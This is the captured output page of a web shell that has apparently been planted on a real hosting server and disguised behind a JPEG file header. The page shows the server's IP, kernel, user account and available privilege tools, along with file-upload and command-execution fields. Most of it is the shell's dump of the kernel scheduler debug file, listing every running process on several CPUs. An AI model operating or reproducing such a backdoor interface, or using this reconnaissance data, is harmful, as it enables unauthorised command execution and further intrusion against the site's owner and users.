ÿØÿà JFIF    ÿþ >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality ÿÛ C     p!ranha?
Server IP : 172.67.171.101  /  Your IP : 216.73.216.123
Web Server : Apache
System : Linux server1.morocco-tours.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : zagoradraa ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /proc/self/root/proc//sched_debug
Sched Debug Version: v0.11, 3.10.0-1127.19.1.el7.x86_64 #1
ktime                                   : 19939705463.225563
sched_clk                               : 19938056158.200329
cpu_clk                                 : 19938056158.200405
jiffies                                 : 24234372760
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2593.906 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 799195902
  .nr_load_updates               : 681850362
  .nr_uninterruptible            : 9797
  .next_balance                  : 24234.372884
  .curr->pid                     : 18471
  .clock                         : 19938056159.171836
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 768
  .cpu_load[2]                   : 448
  .cpu_load[3]                   : 248
  .cpu_load[4]                   : 168
  .avg_idle                      : 1533720
  .max_idle_balance_cost         : 766860

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 560381927.373653
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 97
  .blocked_load_avg              : 0
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 6991
  .avg->runnable_avg_period      : 46244

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 900.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
        kthreadd     2 560353884.654326     56616   120         0.000000      3839.786066         0.000000 0 /
    kworker/0:0H     4      1271.122577         7   100         0.000000         0.029219         0.000000 0 /
     ksoftirqd/0     6 560381913.437264   3054393   120         0.000000     77319.036400         0.000000 0 /
     migration/0     7         0.000000   6024173     0         0.000000     93931.798472         0.000000 0 /
          rcu_bh     8       118.544234         2   120         0.000000         0.001269         0.000000 0 /
   lru-add-drain    10       122.545440         2   100         0.000000         0.002293         0.000000 0 /
      watchdog/0    11         0.000000   4984859     0         0.000000     88670.914361         0.000000 0 /
         kswapd0    45 560126274.387843      4622   120         0.000000     35064.044456         0.000000 0 /
   ipv6_addrconf    60 299823202.353894         4   100         0.000000         0.066833         0.000000 0 /
         kauditd   111 560375789.128804   3376918   120         0.000000    117606.251605         0.000000 0 /
    kworker/0:1H   274 560378648.811596   3824991   100         0.000000     53435.399065         0.000000 0 /
 ext4-rsv-conver   288      1314.084175         2   100         0.000000         0.008642         0.000000 0 /
          auditd   427 560375789.153709   3412442   116         0.000000    245725.829450         0.000000 0 /
      irqbalance   477 560379547.870561   1994063   120         0.000000    623604.034509         0.000000 0 /
 queueprocd - wa   484 560381784.865864    561540   120         0.000000   1163204.290830         0.000000 0 /
 JS Sour~ Thread   567      1763.481471         4   120         0.000000         0.102742         0.000000 0 /
         rpcbind   492 560372418.744039    664279   120         0.000000     41484.432960         0.000000 0 /
            nscd   547 560381833.517889   1516817   120         0.000000    170895.064451         0.000000 0 /
            nscd 22305 560381884.564893   1428585   120         0.000000    164660.020412         0.000000 0 /
            nscd 22306 560381884.320761   1429704   120         0.000000    164185.650601         0.000000 0 /
            nscd 22307 560381913.522239   1429760   120         0.000000    164207.643471         0.000000 0 /
            nscd 22308 560381918.459109   1429767   120         0.000000    164533.634546         0.000000 0 /
        gssproxy   556      1745.216253        87   120         0.000000        10.022357         0.000000 0 /
        gssproxy   569      1753.421601         1   120         0.000000         0.015642         0.000000 0 /
        gssproxy   571      1751.935460         1   120         0.000000         0.029504         0.000000 0 /
        gssproxy   573      1756.001495         1   120         0.000000         0.015966         0.000000 0 /
           crond   583 560375491.140767    913993   120         0.000000    212321.221578         0.000000 0 /
          agetty   602      2604.161473        10   120         0.000000         5.985196         0.000000 0 /
           loop0   704 560381367.897473   2351419   100         0.000000    291285.842919         0.000000 0 /
    jbd2/loop0-8   708 560381367.996586   1090909   120         0.000000    128367.551207         0.000000 0 /
           tuned  1424 560381730.189730  19918901   120         0.000000   2450821.601343         0.000000 0 /
 pdns/ctrlListen   904  72354732.098602        15   120         0.000000        11.138992         0.000000 0 /
 pdns/carbonDump   909 560381652.545970  19936654   120         0.000000    745994.567387         0.000000 0 /
          mysqld  1036 560381761.091705  39868027   120         0.000000   1309011.830468         0.000000 0 /
          mysqld  1037 560381913.418557  39868030   120         0.000000   1331513.877844         0.000000 0 /
          mysqld  1039 560381913.460487  39868007   120         0.000000   1332440.437498         0.000000 0 /
          mysqld  1077 560381386.213995   3987770   120         0.000000    171899.686286         0.000000 0 /
 cpgreylistd - p   969 560381623.011284   9970555   120         0.000000   1549479.317353         0.000000 0 /
 cpdavd - accept   972 556304433.430697    114266   120         0.000000    671409.435833         0.000000 0 /
     spamd child 32692 560337723.557657     60668   120         0.000000     20602.019938         0.000000 0 /
      pop3-login 23043 560381431.739844     45309   120         0.000000     17684.387856         0.000000 0 /
      run-script  1588 560381718.724256   4130273   120         0.000000   2078761.843528         0.000000 0 /
    kworker/u8:1 10855 560381314.354463     13511   120         0.000000      2353.381744         0.000000 0 /
           httpd 30188 558340397.865233         2   120         0.000000         1.063179         0.000000 0 /
    leechprotect 30189 558340530.737962         5   120         0.000000       133.631358         0.000000 0 /
           httpd 30200 560380776.123882     83939   120         0.000000      7972.061511         0.000000 0 /
           httpd 30203 560367113.629004     70596   120         0.000000      7835.501480         0.000000 0 /
           httpd 30208 560348234.536488     88200   120         0.000000     10642.975309         0.000000 0 /
           httpd 30224 560378343.898323     65558   120         0.000000      7535.684334         0.000000 0 /
           httpd 30261 558341414.429006         1   120         0.000000         2.692888         0.000000 0 /
           httpd 30264 560363595.654053    112606   120         0.000000     10645.040466         0.000000 0 /
           httpd 30266 560348739.399869     90446   120         0.000000      7874.207574         0.000000 0 /
           httpd 30273 560376589.614820     81090   120         0.000000      8192.395756         0.000000 0 /
           httpd 30274 560365733.979904    101969   120         0.000000      7252.768698         0.000000 0 /
           httpd 30280 560381874.808887    109697   120         0.000000      8020.404881         0.000000 0 /
           httpd 30283 560368390.697663    143813   120         0.000000     12255.946596         0.000000 0 /
           httpd 30287 560381890.635259    110663   120         0.000000      9914.764287         0.000000 0 /
           httpd 30325 560349103.367865    120019   120         0.000000      9342.916679         0.000000 0 /
           httpd 30337 560381439.821671     83973   120         0.000000      8367.049165         0.000000 0 /
           httpd 30376 560381375.381189     95771   120         0.000000      7353.200832         0.000000 0 /
           httpd 30383 560352370.364812     90148   120         0.000000      8313.575354         0.000000 0 /
           httpd 30390 560379547.699368    134742   120         0.000000     11402.516901         0.000000 0 /
           httpd 30393 560341872.041479     72423   120         0.000000      8313.607548         0.000000 0 /
           httpd  1701 560380873.293551    100880   120         0.000000     10702.195435         0.000000 0 /
           httpd  1703 560370368.302398    132656   120         0.000000      9921.719483         0.000000 0 /
           httpd  1707 560346287.332020     61042   120         0.000000      5655.195218         0.000000 0 /
           httpd  1709 560344371.871422    103625   120         0.000000      9835.961664         0.000000 0 /
           httpd  1710 560347130.714024     56167   120         0.000000      6075.131745         0.000000 0 /
           httpd  1712 560344476.540735     61328   120         0.000000      6443.107770         0.000000 0 /
           httpd  1716 560346139.520798     93008   120         0.000000      6916.905341         0.000000 0 /
           httpd 15012 558997816.730848         2   120         0.000000         2.772923         0.000000 0 /
           httpd 15016 560350954.191167     54573   120         0.000000      6968.379512         0.000000 0 /
           httpd 15022 560376785.160626     63487   120         0.000000      6055.155274         0.000000 0 /
           httpd 15029 560361100.103212     28260   120         0.000000      3377.841866         0.000000 0 /
           httpd 15032 560373335.793995     46228   120         0.000000      4753.112424         0.000000 0 /
           httpd 15033 560380407.748360     47724   120         0.000000      4370.179239         0.000000 0 /
           httpd 15036 560370537.706785     65835   120         0.000000      5767.467963         0.000000 0 /
           httpd 15039 560381689.417655      3175   120         0.000000       237.543677         0.000000 0 /
     kworker/0:0 19688 560381671.339353      5467   120         0.000000       180.531139         0.000000 0 /
 cPhulkd - dbpro  6710 560374472.864114       329   120         0.000000       266.915836         0.000000 0 /
     kworker/0:1 11849 560350889.726959         4   120         0.000000         0.068377         0.000000 0 /
     kworker/0:2 16207 560350898.720130         3   120         0.000000         0.012180         0.000000 0 /
            auth 16662 560381913.529256        32   120         0.000000        24.105170         0.000000 0 /
            lmtp 16696 560356807.819709         5   120         0.000000        15.957918         0.000000 0 /
 cpsrvd (SSL) -  17631 560369889.203044         4   120         0.000000        19.117763         0.000000 0 /
R        php-cgi 18471 560381922.846287        14   120         0.000000        65.016159         0.000000 0 /
         php-cgi 18482 560381884.491821        11   120         0.000000        56.938826         0.000000 0 /

cpu#1, 2593.906 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 1039450936
  .nr_load_updates               : 823244707
  .nr_uninterruptible            : 9869
  .next_balance                  : 24234.372979
  .curr->pid                     : 18487
  .clock                         : 19938056158.982289
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 1298
  .cpu_load[2]                   : 1669
  .cpu_load[3]                   : 1734
  .cpu_load[4]                   : 1449
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 602073860.936603
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 41691933.562950
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 1003
  .blocked_load_avg              : 224
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 24044
  .avg->runnable_avg_period      : 47378

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 602073371.610181  16742748   120         0.000000   6978138.582924         0.000000 0 /
      watchdog/1    12        -2.991792   4984860     0         0.000000     75521.072063         0.000000 0 /
     migration/1    13         0.000000   5291227     0         0.000000     81692.818770         0.000000 0 /
     ksoftirqd/1    14 602073841.555451   3140196   120         0.000000     75500.677424         0.000000 0 /
    kworker/1:0H    16       917.107820         8   100         0.000000         0.064583         0.000000 0 /
           netns    29        23.675933         2   100         0.000000         0.018813         0.000000 0 /
     kintegrityd    32        41.718078         2   100         0.000000         0.009850         0.000000 0 /
          bioset    33        47.727376         2   100         0.000000         0.009717         0.000000 0 /
          bioset    34        53.740983         2   100         0.000000         0.013992         0.000000 0 /
          bioset    35        59.749381         2   100         0.000000         0.008872         0.000000 0 /
         kblockd    36        65.756464         2   100         0.000000         0.007516         0.000000 0 /
              md    37        71.771321         2   100         0.000000         0.016009         0.000000 0 /
     edac-poller    38        77.785399         2   100         0.000000         0.014466         0.000000 0 /
       watchdogd    39        84.396308         2   100         0.000000         0.616804         0.000000 0 /
            ksmd    46       123.757368         2   125         0.000000         0.018827         0.000000 0 /
      khugepaged    47 602051623.347017   1839182   139         0.000000    143634.608375         0.000000 0 /
          crypto    48       135.942171         2   100         0.000000         0.028176         0.000000 0 /
        kthrotld    56       184.378246         2   100         0.000000         0.013564         0.000000 0 /
    kmpath_rdacd    57       190.400508         2   100         0.000000         0.023252         0.000000 0 /
          kaluad    58       196.413802         2   100         0.000000         0.014126         0.000000 0 /
       kpsmoused    59       202.430045         2   100         0.000000         0.017082         0.000000 0 /
         deferwq    73       268.864022         2   100         0.000000         0.014128         0.000000 0 /
    kworker/1:1H   286 602073188.540041   5070851   100         0.000000     88145.065246         0.000000 0 /
     jbd2/vda2-8   287 602073188.855025  16954736   120         0.000000   1081191.679517         0.000000 0 /
 systemd-journal   370 602073301.741458  14818411   120         0.000000   4189219.500353         0.000000 0 /
   systemd-udevd   400 597459791.674176       766   120         0.000000        75.524967         0.000000 0 /
          auditd   428 602063312.309253    274660   116         0.000000     16772.684493         0.000000 0 /
          rpciod   431      1308.832335         2   100         0.000000         0.027151         0.000000 0 /
         xprtiod   432      1314.845752         2   100         0.000000         0.013919         0.000000 0 /
      pure-authd   482 602047994.680310    141522   120         0.000000     30746.010446         0.000000 0 /
         polkitd   486 602042941.146863   2856058   120         0.000000    306219.107512         0.000000 0 /
           gmain   526      1522.008053         1   120         0.000000         0.052360         0.000000 0 /
           gdbus   555 602042941.215378   2756092   120         0.000000    384446.168886         0.000000 0 /
            nscd   540 602068917.721353    571368   120         0.000000     58041.315506         0.000000 0 /
            nscd   541 602019591.628065   1087983   120         0.000000    150037.621022         0.000000 0 /
            nscd   542 601046899.950293      4986   120         0.000000       805.874462         0.000000 0 /
            nscd   543 587881382.866340       232   120         0.000000        33.238731         0.000000 0 /
            nscd   544 602073775.985094   1516481   120         0.000000    170863.552389         0.000000 0 /
            nscd   545 602073796.449115   1516653   120         0.000000    171764.815096         0.000000 0 /
            nscd   548 602073776.174511   1517956   120         0.000000    171734.506135         0.000000 0 /
            nscd 22301 602073776.980429   1429621   120         0.000000    164657.640639         0.000000 0 /
     dbus-daemon   511 602070835.603236  10855228   120         0.000000   2084618.125034         0.000000 0 /
             atd   585 601356399.064972      5585   120         0.000000       746.841376         0.000000 0 /
           tuned  1427      7733.187568         4   120         0.000000         0.466593         0.000000 0 /
     pdns_server   832 602042719.756682     66829   120         0.000000    101699.404096         0.000000 0 /
 pdns/statHelper   906 602073730.965600  19936435   120         0.000000   1165413.831831         0.000000 0 /
   pdns/receiver   908 601689909.546274     19841   120         0.000000      7458.285950         0.000000 0 /
 cpsrvd (SSL) -    840 602060667.811397   2085274   120         0.000000   7598750.478223         0.000000 0 /
       pure-ftpd   844 602047994.324367    124020   120         0.000000     31857.910264         0.000000 0 /
          mysqld  1035 602073822.880570  39868023   120         0.000000   1325354.222869         0.000000 0 /
          mysqld  1043 602073663.968871  39868054   120         0.000000   1302091.341019         0.000000 0 /
          mysqld  1045 602073731.885319  30332216   120         0.000000    909368.219092         0.000000 0 /
          mysqld  1104      5565.019788       292   120         0.000000        34.562321         0.000000 0 /
          mysqld  1119      5165.960734         6   120         0.000000         1.134493         0.000000 0 /
          mysqld 30088 602060727.156098      1331   120         0.000000       435.538514         0.000000 0 /
      tailwatchd   974 602048090.812731   1144935   120         0.000000    645498.728470         0.000000 0 /
 cPhulkd - proce   975 602065377.377226  40876829   120         0.000000   3589988.096561         0.000000 0 /
      pop3-login 23040 602047085.409299     45837   120         0.000000     18419.308600         0.000000 0 /
      imap-login 23041 602047518.042145     69845   120         0.000000     19688.681202         0.000000 0 /
             log 23042 602073823.094108    166069   120         0.000000     17540.953162         0.000000 0 /
      imap-login 23044 602073690.515191     58388   120         0.000000     18210.242980         0.000000 0 /
           stats 23047 602073823.263930    250755   120         0.000000     23221.791393         0.000000 0 /
   sw-engine-fpm  1502 602070835.468930    416487   120         0.000000     65085.781730         0.000000 0 /
      run-script  1592 602067646.119512     71027   120         0.000000     62167.736482         0.000000 0 /
         defunct  2315 602073477.179399     36556   120         0.000000      1792.640551         0.000000 0 /
     kworker/1:1  6108 602073493.530496     12087   120         0.000000       206.203069         0.000000 0 /
           httpd 30202 602059569.519069    102715   120         0.000000     10040.895884         0.000000 0 /
           httpd 30209 602052086.753184     70291   120         0.000000      6026.682958         0.000000 0 /
           httpd 30213 602073811.438983    139519   120         0.000000     10753.933374         0.000000 0 /
           httpd 30216 602036805.634956     81212   120         0.000000      6835.631632         0.000000 0 /
           httpd 30219 602062684.174886     92378   120         0.000000     10145.571178         0.000000 0 /
           httpd 30267 602040312.123003     77554   120         0.000000      5538.051171         0.000000 0 /
           httpd 30275 602060448.133697    149686   120         0.000000     11579.188782         0.000000 0 /
           httpd 30277 602035380.916074     65212   120         0.000000      7475.657923         0.000000 0 /
           httpd 30278 602036202.437832     81204   120         0.000000      7750.919799         0.000000 0 /
           httpd 30279 602029558.355474    132666   120         0.000000      7700.945065         0.000000 0 /
           httpd 30286 602073140.858561    106451   120         0.000000     10671.903799         0.000000 0 /
           httpd 30315 602062072.076611    106213   120         0.000000      8748.656650         0.000000 0 /
           httpd 30317 602045285.984784     94037   120         0.000000      7940.987908         0.000000 0 /
           httpd 30320 602066693.743819     96954   120         0.000000     10474.553437         0.000000 0 /
           httpd 30329 602073831.850175     95337   120         0.000000      6431.623451         0.000000 0 /
           httpd 30334 602071498.345423    132705   120         0.000000     12174.763138         0.000000 0 /
           httpd 30336 602040215.407162    120892   120         0.000000     10606.102639         0.000000 0 /
           httpd 30340 602072985.272548      4417   120         0.000000       338.706169         0.000000 0 /
           httpd 30370 602055619.422956     81874   120         0.000000      7372.081183         0.000000 0 /
           httpd 30373 602043070.391775    121291   120         0.000000     11029.725463         0.000000 0 /
           httpd 30387 602073094.972929     58965   120         0.000000      6376.624127         0.000000 0 /
           httpd 30389 602047804.979036    174290   120         0.000000     12466.118445         0.000000 0 /
           httpd  1708 602055836.699697     81733   120         0.000000      6754.761760         0.000000 0 /
           httpd  1724 602057236.380531     97870   120         0.000000      8961.810552         0.000000 0 /
           httpd 15017 602054725.077109     33809   120         0.000000      3733.927388         0.000000 0 /
           httpd 15021 602058985.490393     35970   120         0.000000      4164.655350         0.000000 0 /
           httpd 15023 602055460.214995     37846   120         0.000000      3547.322543         0.000000 0 /
           httpd 15024 602038554.378087     36762   120         0.000000      4685.767904         0.000000 0 /
  lfd - sleeping 11885 602073041.568096       902   120         0.000000      7468.353611         0.000000 0 /
     kworker/1:2 14476 601623553.822922         2   120         0.000000         0.009636         0.000000 0 /
         php-cgi 18473 602073823.145442        12   120         0.000000        59.828574         0.000000 0 /
         php-cgi 18474 602073823.140541        11   120         0.000000        59.537102         0.000000 0 /
         php-cgi 18479 602073816.184986        11   120         0.000000        53.761926         0.000000 0 /
R        php-cgi 18487 602073861.936162         6   120         0.000000        36.766412         0.000000 0 /

cpu#2, 2593.906 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 1094686072
  .nr_load_updates               : 832319225
  .nr_uninterruptible            : -15421
  .next_balance                  : 24234.372769
  .curr->pid                     : 0
  .clock                         : 19938056159.990135
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 224
  .cpu_load[2]                   : 427
  .cpu_load[3]                   : 388
  .cpu_load[4]                   : 285
  .avg_idle                      : 976086
  .max_idle_balance_cost         : 753465

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 585529079.223125
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 25147151.849472
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 274
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 8189
  .avg->runnable_avg_period      : 46371

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
       rcu_sched     9 585529070.351034 2421960700   120         0.000000  34254408.924478         0.000000 0 /
      watchdog/2    17        -5.989847   4984860     0         0.000000     76999.925561         0.000000 0 /
     migration/2    18         0.000000   5300295     0         0.000000     80107.456608         0.000000 0 /
     ksoftirqd/2    19 585529055.541322   3094668   120         0.000000     75291.393599         0.000000 0 /
    kworker/2:0H    21       720.171860         8   100         0.000000         0.049642         0.000000 0 /
         ata_sff   242 585501188.315296       226   100         0.000000        26.452684         0.000000 0 /
        ttm_swap   255       689.250966         2   100         0.000000         0.009950         0.000000 0 /
       scsi_eh_0   263       733.320031         4   120         0.000000         0.536470         0.000000 0 /
      scsi_tmf_0   264       709.941950         2   100         0.000000         0.013488         0.000000 0 /
       scsi_eh_1   265      1722.404099        37   120         0.000000         4.137016         0.000000 0 /
      scsi_tmf_1   266       721.958643         2   100         0.000000         0.008402         0.000000 0 /
    kworker/2:1H   269 585528802.960794   7484193   100         0.000000    133564.712860         0.000000 0 /
  systemd-logind   483 585526047.352323   6449656   120         0.000000   1088284.093379         0.000000 0 /
         polkitd   561      1707.818476         1   120         0.000000         0.080888         0.000000 0 /
        gssproxy   570      1725.203839         1   120         0.000000         0.008236         0.000000 0 /
        gssproxy   572      1724.303907         1   120         0.000000         0.008303         0.000000 0 /
         qemu-ga   580 560542949.431237        73   120         0.000000        11.614038         0.000000 0 /
            exim   601 585504854.014279    308999   120         0.000000    195681.676622         0.000000 0 /
        rsyslogd   831 585434914.071155     33335   120         0.000000      2643.984638         0.000000 0 /
  pdns/webserver   905 569632533.635609       461   120         0.000000        85.548233         0.000000 0 /
          mysqld   935 585516884.071402    486331   120         0.000000     47010.675406         0.000000 0 /
          mysqld   967      2773.645777         1   120         0.000000         0.070285         0.000000 0 /
          mysqld  1038 585528992.877661  39867995   120         0.000000   1333450.724154         0.000000 0 /
          mysqld  1040 585528966.768558  39867977   120         0.000000   1318402.929169         0.000000 0 /
          mysqld  1041 585528924.721475  39868151   120         0.000000   1310029.677091         0.000000 0 /
          mysqld  1044 585529070.240975  39868336   120         0.000000   1305679.270346         0.000000 0 /
          mysqld  1076 585528994.773875   1993949   120         0.000000     84423.256634         0.000000 0 /
          mysqld  1110      3806.172026         1   120         0.000000         0.129920         0.000000 0 /
           spamd   938 585528504.290389  10085231   120         0.000000   3698468.700649         0.000000 0 /
 dnsadmin - dorm   971 585525021.074339   2183836   120         0.000000    733898.176125         0.000000 0 /
 cpanellogd - sl  1070 585408919.246796    312413   138         0.000000    120719.914863         0.000000 0 /
